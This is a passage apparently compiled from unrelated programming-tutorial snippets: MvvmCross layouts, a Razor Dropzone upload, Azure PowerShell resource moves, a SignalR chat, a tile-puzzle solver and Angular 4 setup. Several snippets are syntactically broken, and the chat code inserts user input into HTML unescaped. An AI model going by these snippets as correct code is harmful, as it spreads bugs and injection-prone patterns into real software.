        '//are optional. Here we're using the 2nd one to add an additional message to the log line.
            Threading.Thread.Sleep(500) '// Simulate an intensive task.
        End Using    '// Upon disposing the profiler, a message is added to the log target 
                     '// defined in the constructor (myLogger). The line contains the name of the method 
                     '// where the measurement was made (IntensiveTask) and the time it took 
                     '// to complete the block of code.
    End Sub
End Class</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
    &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
                  xmlns:local="http://schemas.android.com/apk/res-auto"
                  android:orientation="vertical"
                  android:layout_width="match_parent"
                  android:layout_height="match_parent"&gt;
          
      &lt;EditText android:text="Large Text"
                android:textAppearance="?android:attr/textAppearanceLarge"
                android:layout_width="match_parent"
                android:layout_height="wrap_parent"
                android:id="@+id/textViewEdit"
                android:focusable="true"
                android:focusableInTouchMode="true"
                android:MvxBind="Text EditText" /&gt;

      &lt;TextView android:text="Large Text"
                android:textAppearance="?android:attr/textAppearanceLarge"
                android:layout_width="match_parent"
                android:layout_height="wrap_parent"
                android:id="@+id/textViewCopy"
                android:MvxBind="Text CopyText" /&gt;

      &lt;Button android:text="Reset"
              android:layout_width="match_parent"
              android:layout_height="wrap_parent"
              android:id="@+id/buttonReset"
              android:MvxBind="Click ResetTextCommand" /&gt;
    &lt;/LinearLayout&gt;</pre>


<pre lang="XML">
    &lt;views:MvxWpfView x:Class="TextExample.WPF.Views.TextView"
                      xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                      xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                      xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
                      xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
                      xmlns:i="http://schemas.microsoft.com/expression/2010/interactivity"
                      xmlns:views="clr-namespace:MvvmCross.Wpf.Views;assembly=MvvmCross.Wpf"
                      xmlns:local="clr-namespace:TextExample.WPF.Views"
                      mc:Ignorable="d"
                      d:DesignHeight="300"
                      d:DesignWidth="300"&gt;

        &lt;StackPanel&gt;
            &lt;TextBox x:Name="textBoxEdit"
                     Text="{Binding EditText, Mode=TwoWay, UpdateSourceTrigger=PropertyChanged}" /&gt;

            &lt;TextBlock x:Name="textBlockCopy"
                       Text="{Binding CopyText, Mode=OneWay}" /&gt;

            &lt;Button x:Name="buttonReset"
                    Content="Reset"
                    Command="{Binding ResetTextCommand}" /&gt;

        &lt;/StackPanel&gt;
    &lt;/views:MvxWpfView&gt;</pre>


<pre lang="C#">
//ImageUpload.cshtml.cs
using System.IO;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc.RazorPages;
namespace jqueryRazorpagesSimpleFileUpload.Pages
{
    public class ImageUploadModel : PageModel
    {
        public void OnGetAsync()
        {
        }
    }
}


&lt;!-- ImageUpload.cshtml--&gt;
@page
@model ImageUploadModel
&lt;h1&gt;Image Upload Page &lt;/h1&gt;
</pre>


<pre lang="Razor">
&lt;!-- At the top of the file --&gt;
@section Styles {
    &lt;link rel=&quot;stylesheet&quot; href=&quot;~/css/dropzone.css&quot; /&gt;
}
&lt;!-- At the bottom of the file --&gt;
@section Scripts {
    &lt;script src=&quot;~/lib/dropzone.js&quot;&gt;&lt;/script&gt;
}
</pre>


<pre lang="Razor">
&lt;h1&gt;Image upload page&lt;/h1&gt;
&lt;hr /&gt;
&lt;div class=&quot;row&quot;&gt;
    &lt;div class=&quot;col-md-12&quot;&gt;
        &lt;h2&gt;Upload Image&lt;/h2&gt;
        &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;input name=&quot;image&quot; type=&quot;file&quot; class=&quot;form-control&quot; accept=&quot;image/*&quot;/&gt;
            &lt;/div&gt;
            &lt;input type=&quot;submit&quot; value=&quot;Upload&quot; class=&quot;btn btn-default&quot; /&gt;
        &lt;/form&gt;
    &lt;/div&gt;
&lt;/div&gt;
</pre>


<pre lang="Razor">
&lt;div class=&quot;row&quot;&gt;
    &lt;div class=&quot;col-sm-12&quot;&gt;
        &lt;h3&gt;Recent Upload&lt;/h3&gt;

        &lt;div&gt;
            &lt;img id=&quot;recentImage&quot; class=&quot;img-responsive img-thumbnail&quot; width=&quot;500&quot;/&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
</pre>


<pre lang="JavaScript">
&lt;script&gt;
    $(&quot;#imageUploadForm&quot;).dropzone({ 
        url: &quot;/imageupload&quot;,
        paramName: &quot;image&quot;, 
        acceptedFiles: &quot;image/*&quot;,
        success: function(file){
            $(&quot;#recentImage&quot;).attr(&#39;src&#39;, `./uploads/${file.name}`);
        }
    });
&lt;/script&gt;
</pre>


<pre lang="Razor">
@page 
@model ImageUploadModel 
@{ 
    ViewData[&quot;Title&quot;] = &quot;Image Uploader&quot;; 
}
@section Styles {
    &lt;link rel=&quot;stylesheet&quot; href=&quot;~/css/dropzone.css&quot; /&gt;
}
&lt;h1&gt;Image upload page&lt;/h1&gt;
&lt;hr /&gt;
&lt;div class=&quot;row&quot;&gt;
    &lt;div class=&quot;col-md-12&quot;&gt;
        &lt;h2&gt;Upload Image&lt;/h2&gt;
        &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; id=&quot;imageUploadForm&quot; class=&quot;dropzone&quot;&gt;
            &lt;div class=&quot;fallback&quot;&gt;
                 &lt;div class=&quot;form-group&quot;&gt;
                    &lt;input name=&quot;image&quot; type=&quot;file&quot; class=&quot;form-control&quot; accept=&quot;image/*&quot;/&gt;
                &lt;/div&gt;
                 &lt;input type=&quot;submit&quot; value=&quot;Upload&quot; class=&quot;btn btn-default&quot; /&gt;
            &lt;/div&gt;
        &lt;/form&gt;
    &lt;/div&gt;

&lt;/div&gt;
&lt;div class=&quot;row&quot;&gt;
    &lt;div class=&quot;col-sm-12&quot;&gt;
        &lt;h3&gt;Recent Upload&lt;/h3&gt;

        &lt;div&gt;
            &lt;img id=&quot;recentImage&quot; class=&quot;img-responsive img-thumbnail&quot; width=&quot;500&quot;/&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
@section Scripts {
    &lt;script src=&quot;~/lib/dropzone.js&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        $(&quot;#imageUploadForm&quot;).dropzone({ 
            url: &quot;/imageupload&quot;,
            paramName: &quot;image&quot;, 
            acceptedFiles: &quot;image/*&quot;,
            success: function(file){
                $(&quot;#recentImage&quot;).attr(&#39;src&#39;, `./uploads/${file.name}`);
            }
        });
    &lt;/script&gt;
}
</pre>


<pre lang="PowerShell">
Set-AzureRmContext -Subscription $DestinationSubscriptionId
$ResourceProviders = Get-AzureRmResourceProvider -ListAvailable
$ResourceProviders | Where-Object { $_.ProviderNamespace -eq 'microsoft.insights' } | 
 Select-Object ProviderNamespace, RegistrationState</pre>


<pre lang="PowerShell">
Set-AzureRmContext -Subscription $SourceSubscriptionId
$SourceResource = Get-AzureRmResource -ResourceGroupName "BeemingBlog" -ResourceName "beemingblog"
$SourceResource
$ResourceId = $SourceResource | Where-Object { $_.ResourceType -eq "microsoft.insights/components" } | 
 Select-Object -ExpandProperty ResourceId { $_ }
$ResourceId
Move-AzureRmResource -ResourceId $ResourceId -DestinationSubscriptionId $DestinationSubscriptionId 
-DestinationResourceGroupName "BeemingBlog" -Force</pre>


<pre lang="PowerShell">
# Set some variables that are going to be used later
$SourceResourceGroupName = "BeemingBlog"
$SourceResourceName = "beemingblog"
$DestinationResourceGroupName = "BeemingBlog"
$DestinationResourceGroupLocation = "West Europe"

#------------------------

# Login
Login-AzureRmAccount

# The source and destination subscriptions must exist within the same Azure Active Directory tenant
$Subscriptions = Get-AzureRmSubscription
$Subscriptions | Format-Table

# Set selected source and destination subscription ids
$SourceSubscriptionId = "b69cbba1-9087-4d8a-8e9f-861651ed3362"
$DestinationSubscriptionId = "3259386d-3d64-40f1-bad4-1a65f8daea4d"

# The service must enable the ability to move resources. This article lists which services 
# enable moving resources and which services do not enable moving resources.
Set-AzureRmContext -Subscription $DestinationSubscriptionId
$ResourceProviders = Get-AzureRmResourceProvider -ListAvailable
$ResourceProviders | Where-Object { $_.ProviderNamespace -eq 'microsoft.insights' } | 
 Select-Object ProviderNamespace, RegistrationState

# Register the provider
Register-AzureRmResourceProvider -ProviderNamespace microsoft.insights

# Create target resource group
New-AzureRmResourceGroup -Name $DestinationResourceGroupName -Location $DestinationResourceGroupLocation

# Get Source resource
Set-AzureRmContext -Subscription $SourceSubscriptionId
$SourceResource = Get-AzureRmResource -ResourceGroupName $SourceResourceGroupName 
 -ResourceName $SourceResourceName
$SourceResource
$ResourceId = $SourceResource | Where-Object { $_.ResourceType -eq "microsoft.insights/components" } | 
 Select-Object -ExpandProperty ResourceId { $_ }
$ResourceId
Move-AzureRmResource -ResourceId $ResourceId -DestinationSubscriptionId $DestinationSubscriptionId 
-DestinationResourceGroupName $DestinationResourceGroupName -Force</pre>


<pre lang="C#">
    byte[] requestBody;
    byte[] responseData;

    string currentTimeStamp = string.Empty;
    string jsonContent = string.Empty;
    string calculatedHash = string.Empty;
    string SHA1HMAC = string.Empty;
    string authCode = string.Empty;

    WebClient wClient = new WebClient();

    jsonContent = CreateRequestBody();
    requestBody = Encoding.UTF8.GetBytes(jsonContent);

    currentTimeStamp = DateTime.Now.ToString("ddd, dd MMMM yyyy HH:mm:ss") + " " + "GMT";
    //string currentTimeStamp = "Fri, 06 May 2016 11:43:00 GMT";

   calculatedHash = GetMD5HashCode(jsonContent);
   //string calculatedHash = "5737142f561cb8355f98d64e3cc4637b";

   SHA1HMAC = CreateAuthCode(calculatedHash + currentTimeStamp);

   //authCode = "e6e3e276:17933485ca0e61d3d278fe1ec615bcf734b6649e";
   authCode = (clientIDYodal + ":" + SHA1HMAC);

   wClient.Headers.Add("Timestamp", currentTimeStamp);
   wClient.Headers.Add("Content-Type", "application/json");
   wClient.Headers.Add("Hash", calculatedHash);
   wClient.Headers.Add("Authorization", authCode);

   responseData = wClient.UploadData(endPointForMatterYodal, "POST", requestBody);

   string outPut;
   outPut = wClient.Encoding.GetString(responseData);

   dynamic dynObj = JsonConvert.DeserializeObject(outPut);
   string matterURL = (string)dynObj["url"];

   result = true;

   Response.Redirect(matterURL, false);</pre>




<pre lang="HTML">
&lt;div class="row"&gt;
    &lt;div class="col-md-12"&gt;
        &lt;div class="row" id="PriChatDiv"&gt;
        &lt;/div&gt;
        &lt;textarea class="form-control" style="visibility: hidden;"&gt;&lt;/textarea&gt;
        &lt;!--/.private-chat --&gt;
    &lt;/div&gt;
&lt;/div&gt;</pre>


<pre lang="JavaScript">
 var UserLink = $('&lt;a id="' + id +
'" class="user" &gt;' + name + '&lt;a&gt;');
                $(code).click(function () {

                    var id = $(UserLink).attr('id');

                    if (userId != id) {
                        var ctrId = 'private_' + id;
                        OpenPrivateChatBox(chatHub, id, ctrId, name);
                    }
                });</pre>


<pre lang="JavaScript">
// Creation and Opening Private Chat Div
        function OpenPrivateChatBox(chatHub, userId, ctrId, userName) {

            var PWClass = $('#PWCount').val();

            if ($('#PWCount').val() == 'info')
                PWClass = 'danger';
            else if ($('#PWCount').val() == 'danger')
                PWClass = 'warning';
            else
                PWClass = 'info';

            $('#PWCount').val(PWClass);
            var div1 = ' &lt;div class="col-md-4"&gt; &lt;div  id="' + ctrId +
             '" class="box box-solid box-' + PWClass + ' direct-chat direct-chat-' + PWClass + '"&gt;' +
                '&lt;div class="box-header with-border"&gt;' +
                ' &lt;h3 class="box-title"&gt;' + userName + '&lt;/h3&gt;' +

                ' &lt;div class="box-tools pull-right"&gt;' +
                ' &lt;span data-toggle="tooltip" id="MsgCountP" title="0 New Messages"
                '  class="badge bg-' + PWClass + '"&gt;0&lt;/span&gt;' +
                ' &lt;button type="button" class="btn btn-box-tool" data-widget="collapse"&gt;' +
                '    &lt;i class="fa fa-minus"&gt;&lt;/i&gt;' +
                '  &lt;/button&gt;' +
                '  &lt;button id="imgDelete" type="button" class="btn btn-box-tool" data-widget="remove"&gt;
                '  &lt;i class="fa fa-times"&gt;&lt;/i&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;' +

                ' &lt;div class="box-body"&gt;' +
                ' &lt;div id="divMessage" class="direct-chat-messages"&gt;' +

                ' &lt;/div&gt;' +

                '  &lt;/div&gt;' +
                '  &lt;div class="box-footer"&gt;' +

                '    &lt;input type="text" id="txtPrivateMessage"
                '     name="message" placeholder="Type Message ..." class="form-control"  /&gt;' +

                '  &lt;div class="input-group"&gt;' +
                '    &lt;input type="text" name="message" placeholder="Type Message ..."
                '     class="form-control" style="visibility:hidden;" /&gt;' +
                '   &lt;span class="input-group-btn"&gt;' +
                '          &lt;input type="button" id="btnSendMessage"
                '           class="btn btn-' + PWClass + ' btn-flat" value="send" /&gt;' +
                '   &lt;/span&gt;' +
                '  &lt;/div&gt;' +

                ' &lt;/div&gt;' +
                ' &lt;/div&gt;&lt;/div&gt;';

            var $div = $(div1);

            // Closing Private Chat Box
            $div.find('#imgDelete').click(function () {
                $('#' + ctrId).remove();
            });

            // Send Button event in Private Chat
            $div.find("#btnSendMessage").click(function () {

                $textBox = $div.find("#txtPrivateMessage");

                var msg = $textBox.val();
                if (msg.length &gt; 0) {
                    chatHub.server.sendPrivateMessage(userId, msg);
                    $textBox.val('');
                }
            });

            // Text Box event on Enter Button
            $div.find("#txtPrivateMessage").keypress(function (e) {
                if (e.which == 13) {
                    $div.find("#btnSendMessage").click();
                }
            });

            // Clear Message Count on Mouse over
            $div.find("#divMessage").mouseover(function () {

                $("#MsgCountP").html('0');
                $("#MsgCountP").attr("title", '0 New Messages');
            });

            // Append private chat div inside the main div
            $('#PriChatDiv').append($div);
        }</pre>


<pre lang="JavaScript">
chatHub.client.sendPrivateMessage = 
function (windowId, fromUserName, message, userimg, CurrentDateTime) {

    var ctrId = 'private_' + windowId;
    if ($('#' + ctrId).length == 0) {
    
        OpenPrivateChatBox(chatHub, windowId, ctrId, fromUserName, userimg);
        
    }
    
    var CurrUser = $('#hdUserName').val();
    var Side = 'right';
    var TimeSide = 'left';
    
    if (CurrUser == fromUserName) {
        Side = 'left';
        TimeSide = 'right';
        
    }
    else {
        var Notification = 'New Message From ' + fromUserName;
        IntervalVal = setInterval("ShowTitleAlert('SignalR Chat App', 
                      '" + Notification + "')", 800);
        
        var msgcount = $('#' + ctrId).find('#MsgCountP').html();
        msgcount++;
        $('#' + ctrId).find('#MsgCountP').html(msgcount);
        $('#' + ctrId).find('#MsgCountP').attr("title", msgcount + ' New Messages');
    }
    
    var divChatP = '&lt;div class="direct-chat-msg ' + Side + '"&gt;' +
        '&lt;div class="direct-chat-info clearfix"&gt;' +
        '&lt;span class="direct-chat-name pull-' + Side + '"&gt;' + fromUserName + 
        '&lt;/span&gt;' +
        '&lt;span class="direct-chat-timestamp pull-' + TimeSide + '""&gt;' + CurrentDateTime + 
        '&lt;/span&gt;' +
        '&lt;/div&gt;' +
        
        ' &lt;img class="direct-chat-img" src="' + userimg + 
        '" alt="Message User Image"&gt;' +
        ' &lt;div class="direct-chat-text" &gt;' + message + 
        '&lt;/div&gt; &lt;/div&gt;';
        
    $('#' + ctrId).find('#divMessage').append(divChatP);
    
    var htt = $('#' + ctrId).find('#divMessage')[0].scrollHeight;
    $('#' + ctrId).find('#divMessage').slimScroll({
        height: htt
    });
}</pre>




<pre lang="JavaScript">
// Show Title Alert
        function ShowTitleAlert(newMessageTitle, pageTitle) {
            if (document.title == pageTitle) {
                document.title = newMessageTitle;
            }
            else {
                document.title = pageTitle;
            }
        }</pre>


<pre lang="JavaScript">
 // Clear Chat
        $('#btnClearChat').click(function () {

            var msg = $("#divChatWindow").html();

            if (msg.length &gt; 0) {
                chatHub.server.clearTimeout();
                $('#divChatWindow').html('');

            }
        });</pre>


<pre lang="XML">
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_0.dtd"&gt;
&lt;Configure class="org.eclipse.jetty.server.handler.ContextHandler"&gt;
  &lt;Set name="contextPath"&gt;/monkey&lt;/Set&gt;
  &lt;Set name="handler"&gt;
    &lt;New class="org.eclipse.jetty.server.handler.ResourceHandler"&gt;
      &lt;Set name="resourceBase"&gt;c:/DevJunk/monkey&lt;/Set&gt;
      &lt;Set name="directoriesListed"&gt;false&lt;/Set&gt;
    &lt;/New&gt;
  &lt;/Set&gt;
&lt;/Configure&gt;</pre>


<pre lang="XML">
&lt;web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1"&gt;
   &lt;servlet-mapping&gt;
      &lt;servlet-name&gt;default&lt;/servlet-name&gt;
      &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
   &lt;/servlet-mapping&gt;
&lt;/web-app&gt;</pre>


<pre lang="C#">
            public enum Rotation
            {
               zero,
               ninety,
               one80,
               two70,
               undefined
            }

            public class Tile
            {
               public int Number { get; set; }
               public string Letter { get; set; }
               public int Placed { get; set; }
               public Rotation Rotation { get; set; }
               public int Shift { get; set; }
               public byte[,] Slots;
               public ulong?[] BitMap = new ulong?[4];   // indexed by Rotation
               public int[] TileWidth = new int[4];      // indexed by Rotation, used to check for Board overflow
               public Tile(int number)
               {
                  this.Placed = -1;
                  this.Rotation = Rotation.undefined;
                  this.Number = number;
               }
            }</pre>


<pre lang="C#">
            public byte[,] Rotate(byte[,] slots, Rotation r)
            {
               byte[,] rotSlots = null;
               int rowMax = slots.GetUpperBound(0);
               int colMax = slots.GetUpperBound(1);
               switch (r) {
                  case Rotation.zero:
                     rotSlots = slots;
                     break;
                  case Rotation.ninety:
                     rotSlots = new byte[colMax + 1, rowMax + 1];
                     for (int col = 0; col &lt;= colMax; col++) {
                        for (int row = 0; row &lt;= rowMax; row++) {
                           rotSlots[col, rowMax - row] = slots[row, col];
                        }
                     }
                     break;
                  case Rotation.one80:
                     rotSlots = new byte[rowMax + 1, colMax + 1];
                     for (int col = 0; col &lt;= colMax; col++) {
                        for (int row = 0; row &lt;= rowMax; row++) {
                           rotSlots[rowMax - row, colMax - col] = slots[row, col];
                        }
                     }
                     break;
                  case Rotation.two70:
                     rotSlots = new byte[colMax + 1, rowMax + 1];
                     for (int col = 0; col &lt;= colMax; col++) {
                        for (int row = 0; row &lt;= rowMax; row++) {
                           rotSlots[colMax - col, row] = slots[row, col];
                        }
                     }
                     break;
               }
               return StripEmptyRowsAndColumns(rotSlots);
            }</pre>


<pre lang="C#">
            public static ulong? ToBitMap(this byte[,] byteMap, int width, int height)
            {
               ulong? result = 0;
               int bitPos = 63;
               int rows = byteMap.GetUpperBound(0) + 1;
               if (rows &gt; height) {
                  return null;
               }
               for (int row = 0; row &lt;= byteMap.GetUpperBound(0); row++) {
                  for (int col = 0; col &lt;= byteMap.GetUpperBound(1); col++) {
                     if (byteMap[row, col] == 1) {
                        result = SetBit(result, bitPos);
                     }
                     bitPos--;
                  }
                  bitPos = 63 - width * (row + 1);
               }
               return result;
            }</pre>


<pre lang="C#">
            private static ulong? SetBit(ulong? value, int index)
            {
               if (index &lt; 0 || index &gt;= 64) {
                  throw new ArgumentOutOfRangeException();
               }
               ulong? one = 1;

               return value | (one &lt;&lt; index);
           }</pre>


<pre lang="C#">
        public StatusFlag TilePlaced(ulong board, int level)
        {
           // Increment to next level of recursion
           level++;
           if (level &gt; _Tiles.Count) {
              return StatusFlag.Failed;
           }
           // Reset tiles placed at higher levels of recursion
           for (int tileX = 0; tileX &lt; _Tiles.Count; tileX++) {
              if (_Tiles[tileX].Placed &gt;= level) {
                 _Tiles[tileX].Placed = -1;
              }
           }
           // Iterate through tiles
           for (int x = 0; x &lt; _Tiles.Count; x++) {
              // Choose shuffled tile ordinal
              int tileX = _Order[x];
              // Skip placed tiles
              if (_Tiles[tileX].Placed != -1 &amp;&amp; _Tiles[tileX].Placed &lt; level) {
                 continue;
              }
              _Tiles[tileX].Placed = -1;
              // Iterarate through rotation
              for (Rotation rotation = Rotation.zero; rotation &lt;= Rotation.two70; rotation++) {
                 // Get pice as ulong
                 ulong? nullablePiece = _Tiles[tileX].BitMap[(int)rotation];
                 if (nullablePiece != null) {
                    ulong basePiece = nullablePiece.Value;
                    ulong piece = basePiece;
                    int tileWidth = _Tiles[tileX].TileWidth[(int)rotation];
                    // Iterate through all possible board positions by shifting
                    for (int shift = 0; shift &lt; _Width * _Height; shift++) {
                       // Break when last bit is going to be shifted away
                       if ((piece &gt;&gt; 4) % 2 == 1) {
                          break;
                       }
                       // Move the piece by shiftind
                       piece = basePiece &gt;&gt; shift;
                       // Skip if shift position invalid (i.e overflows board)
                       if (SkipShift(shift, tileWidth)) {
                          continue;
                       }
                       // OR the piece and board
                       ulong b = board | piece;
                       // Test if result matches XOR of piece and board
                       if (b == (board ^ piece)) {
                          // Optimization - ensure Tile placement leaves no holes that can't be filled
                          if (b.NoHoles(_Width, _Height)) {
                             // Place tile
                             _Tiles[tileX].Placed = level;
                             _Tiles[tileX].Shift = shift;
                             _Tiles[tileX].Rotation = rotation;
                             _Counter++;
                             // Test for completion
                             if (level &gt;= _Tiles.Count &amp;&amp; b == _CompletedBoard) {
                                ReDrawAllCells(picBoard, level);
                                ReportSolved();
                                return StatusFlag.Finished;
                             }
                             // Recurse with new board
                             StatusFlag statusFlag = TilePlaced(b, level);
                             if (statusFlag != StatusFlag.Failed) {
                                return statusFlag;
                             }
                             else {
                                // Failed after recursion - continue iterations
                                _Tiles[tileX].Placed = -1;
                                continue;
                             }
                          }
                       }
                    }
                 }
              }
           }
           return StatusFlag.Failed;
        }</pre>


<pre lang="JavaScript">
{

  "compileOnSave": true,

  "compilerOptions": {

    "target": "es5",

    "module": "commonjs",

    "moduleResolution": "node",

    "sourceMap": true,

    "emitDecoratorMetadata": true,

    "experimentalDecorators": true,

    "removeComments": false,

    "noImplicitAny": false,  

    "declaration": false,

    "typeRoots": [

      "node_modules/@types"

    ],

    "lib": [

      "es2017",

      "dom"

    ]

  }</pre>


<pre lang="JavaScript">
{
  "compileOnSave": true,
  "compilerOptions": {
    "target": "es5",
    "module": "commonjs",
    "moduleResolution": "node",
    "sourceMap": true,
    "emitDecoratorMetadata": true,
    "experimentalDecorators": true,
    "removeComments": false,
    "noImplicitAny": false,
    "declaration": false,
    "noStrictGenericChecks": true,
    "typeRoots": [
      "node_modules/@types"
    ],
    "lib": [
      "es2017",
      "dom"
    ]
  }
}</pre>


<pre lang="JavaScript">
{
  "name": "angular4-article",
  "version": "1.0.0",
  "description": "Angular 4 article projects",
  "scripts": {
    "build": "tsc -p src/",
    "build:watch": "tsc -p src/ -w",
    "build:e2e": "tsc -p e2e/",
    "serve": "lite-server -c=bs-config.json",
    "serve:e2e": "lite-server -c=bs-config.e2e.json",
    "prestart": "npm run build",
    "start": "concurrently \"npm run build:watch\" \"npm run serve\"",
    "pree2e": "npm run build:e2e",
    "e2e": "concurrently \"npm run serve:e2e\" \"npm run protractor\" --kill-others --success first",
    "preprotractor": "webdriver-manager update",
    "protractor": "protractor protractor.config.js",
    "pretest": "npm run build",
    "test": "concurrently \"npm run build:watch\" \"karma start karma.conf.js\"",
    "pretest:once": "npm run build",
    "test:once": "karma start karma.conf.js --single-run",
    "lint": "tslint ./src/**/*.ts -t verbose"
  },
  "keywords": [],
  "author": "Debasis",
  "license": "MIT",
  "dependencies": {
    "@angular/common": "~4.3.4",
    "@angular/compiler": "~4.3.4",
    "@angular/core": "~4.3.4",
    "@angular/forms": "~4.3.4",
    "@angular/http": "~4.3.4",
    "@angular/platform-browser": "~4.3.4",
    "@angular/platform-browser-dynamic": "~4.3.4",
    "@angular/router": "~4.3.4",
    "@angular/animations": "~4.3.4",
    "angular-in-memory-web-api": "~0.3.0",
    "systemjs": "0.19.40",
    "core-js": "^2.4.1",
    "rxjs": "5.0.1",
    "zone.js": "^0.8.4"
  },
  "devDependencies": {
    "concurrently": "^3.2.0",
    "lite-server": "^2.2.2",
    "typescript": "~2.1.0",
    "canonical-path": "0.0.2",
    "tslint": "^3.15.1",
    "lodash": "^4.16.4",
    "jasmine-core": "~2.4.1",
    "karma": "^1.3.0",
    "karma-chrome-launcher": "^2.0.0",
    "karma-cli": "^1.0.1",
    "karma-jasmine": "^1.0.2",
    "karma-jasmine-html-reporter": "^0.2.2",
    "protractor": "~4.0.14",
    "rimraf": "^2.5.4",
    "@types/node": "^6.0.46",
    "@types/jasmine": "2.5.36"
  },
  "repository": {}
}
</pre>


<pre lang="JavaScript">
/**
 * System configuration for Angular samples
 * Adjust as necessary for your application needs.
 */
(function (global) {
    System.config({
        paths: {
            // paths serve as alias
            'npm:': 'node_modules/'
        },
        // map tells the System loader where to look for things
        map: {
            // our app is within the app folder
            'app': '.',

            // angular bundles
            '@angular/animations': 'npm:@angular/animations/bundles/animations.umd.js',
            '@angular/animations/browser': 'npm:@angular/animations/bundles/animations-browser.umd.js',
            '@angular/core': 'npm:@angular/core/bundles/core.umd.js',
            '@angular/common': 'npm:@angular/common/bundles/common.umd.js',
            '@angular/compiler': 'npm:@angular/compiler/bundles/compiler.umd.js',
            '@angular/platform-browser': 'npm:@angular/platform-browser/bundles/platform-browser.umd.js',
            '@angular/platform-browser/animations': 'npm:@angular/platform-browser/bundles/platform-browser-animations.umd.js',
            '@angular/platform-browser-dynamic': 'npm:@angular/platform-browser-dynamic/bundles/platform-browser-dynamic.umd.js',
            '@angular/http': 'npm:@angular/http/bundles/http.umd.js',
            '@angular/router': 'npm:@angular/router/bundles/router.umd.js',
            '@angular/router/upgrade': 'npm:@angular/router/bundles/router-upgrade.umd.js',
            '@angular/forms': 'npm:@angular/forms/bundles/forms.umd.js',
            '@angular/upgrade': 'npm:@angular/upgrade/bundles/upgrade.umd.js',
            '@angular/upgrade/static': 'npm:@angular/upgrade/bundles/upgrade-static.umd.js',

            // other libraries
            'rxjs': 'npm:rxjs',
            'angular-in-memory-web-api': 'npm:angular-in-memory-web-api/bundles/in-memory-web-api.umd.js'
        },
        // packages tells the System loader how to load when no filename and/or no extension
        packages: {
            app: {
                main: './main.js',
                defaultExtension: 'js'
            },
            rxjs: {
                defaultExtension: 'js'
            }
        }
    });
})(this);
</pre>


<pre lang="JavaScript">
import { NgModule, NO_ERRORS_SCHEMA } from '@angular/core';  

import { APP_BASE_HREF } from '@angular/common';  

import { BrowserModule } from '@angular/platform-browser';  

import { FormsModule } from "@angular/forms";  

import { HttpModule } from '@angular/http';  

import { RouterModule } from '@angular/router';  

  

import { HomeComponent } from './SampleCode/app.component.home';  

  

@NgModule({  

    imports: [BrowserModule, FormsModule, HttpModule],  

    declarations: [HomeComponent],  

    bootstrap: [HomeComponent],  

    schemas: [NO_ERRORS_SCHEMA]  

})  

  

export class ArticleModule { } </pre>


<pre lang="JavaScript">
import { Component } from "@angular/core";  

  
@Component({  

    moduleId :module.id,  

    selector: "home",  

    template: "&lt;strong&gt;Welcome To Angular 4 Series&lt;/strong&gt; "  

})  
 

export class HomeComponent {  

    constructor() {  

    }  

}  </pre>


<pre lang="HTML">
&lt;!DOCTYPE html&gt;  

&lt;html lang="en"&gt;  

&lt;head&gt;  

    &lt;!--&lt;base href="/"&gt;--&gt;  

    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;  

    &lt;meta charset="utf-8"&gt;  

    &lt;title&gt;Angular 4 - Console&lt;/title&gt;  

    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;  

    &lt;meta name="description" content=""&gt;  

    &lt;meta name="keywords" content=""&gt;  

    &lt;meta name="author" content=""&gt;  

  

    &lt;link href="resource/css/bootstrap.min.css" rel="stylesheet"&gt;  

    &lt;link rel="stylesheet" href="resource/css/font-awesome.min.css"&gt;  

    &lt;link rel="stylesheet" href="resource/css/jquery-ui.css"&gt;  

    &lt;link href="resource/css/style.css" rel="stylesheet"&gt;  

    &lt;link rel="shortcut icon" href="img/favicon/favicon.ico"&gt;  

&lt;/head&gt;  

&lt;body&gt;      

    &lt;div class="content"&gt;  

        &lt;home&gt;&lt;/home&gt;  

    &lt;/div&gt;  

    &lt;footer&gt;  

        &lt;div class="container"&gt;  

            &lt;div class="row"&gt;  

                &lt;div class="col-md-12"&gt;  

                    &lt;p class="copy"&gt;Copyright © 2017-2018 | &lt;a href="http://www.c-sharpcorner.com/members/debasis-saha"&gt;Debasis Saha&lt;/a&gt; &lt;/p&gt;  

                &lt;/div&gt;  

            &lt;/div&gt;  

        &lt;/div&gt;  

    &lt;/footer&gt;  

    &lt;script src="resource/js/jquery.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/bootstrap.min.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/jquery-ui.min.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/jquery.slimscroll.min.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/custom.js"&gt;&lt;/script&gt;  

  

    &lt;script src="node_modules/core-js/client/shim.min.js"&gt;&lt;/script&gt;  

    &lt;script src="node_modules/zone.js/dist/zone.js"&gt;&lt;/script&gt;  

    &lt;script src="node_modules/systemjs/dist/system.src.js"&gt;&lt;/script&gt;  

    &lt;script src="systemjs.config.js"&gt;&lt;/script&gt;  

    &lt;script&gt;  

        System.import('main.js').catch(function (err) { console.error(err); });  

    &lt;/script&gt;  

  

    &lt;!-- Set the base href, demo only! In your app: &lt;base href="/"&gt; --&gt;  

